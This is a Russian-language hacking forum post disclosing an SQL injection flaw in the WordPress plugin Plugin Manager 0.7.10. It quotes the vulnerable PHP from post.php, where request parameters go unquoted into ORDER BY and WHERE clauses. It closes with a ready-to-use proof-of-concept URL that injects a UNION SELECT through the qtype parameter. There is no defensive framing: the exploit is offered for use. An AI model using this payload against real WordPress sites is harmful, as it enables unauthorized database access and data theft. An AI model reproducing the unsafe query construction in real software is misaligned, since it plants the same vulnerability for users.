Показать сообщение отдельно
Старый 16.12.2010, 08:26   #30
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Plugin Manager 0.7.10

скачать

SQL inj
зависимостей нет.

/wp-content/plugins/plugin-manager/post.php
PHP код:
/*...*/
include('../../../wp-load.php');
include(
'../../../wp-admin/includes/admin.php');

$page $wpdb->escape($_GET['page']);
$rp $wpdb->escape($_GET['rp']);
$sortname $wpdb->escape($_GET['sortname']);
$sortorder $wpdb->escape($_GET['sortorder']);
$query $wpdb->escape($_GET['query']);
$qtype $wpdb->escape($_GET['qtype']);

if (!
$sortname$sortname 'id';
if (!
$sortorder$sortorder 'asc';

$sort "ORDER BY $sortname $sortorder";

if (!
$page$page 1;
if (!
$rp$rp 10;

$start = (($page-1) * $rp);

$limit "LIMIT $start$rp";

$where "";
if (
$query$where " WHERE $qtype LIKE '%$query%' ";

$sql "SELECT * FROM " $wpdb->prefix "PluginManager" .  $where $sort $limit";

$result $wpdb->get_results($sqlARRAY_A) or die (mysql_error());

$countsql "SELECT COUNT(id) FROM " $wpdb->prefix "PluginManager";
/*...*/ 
PoC:
Код:
http://[host]/[path]/wp-content/plugins/plugin-manager/post.php?qtype=1%20and%200%20union%20select%20version%28%29,2,3,4,5,6,7,8,9--%20&query=1
}{оттабыч вне форума   Ответить с цитированием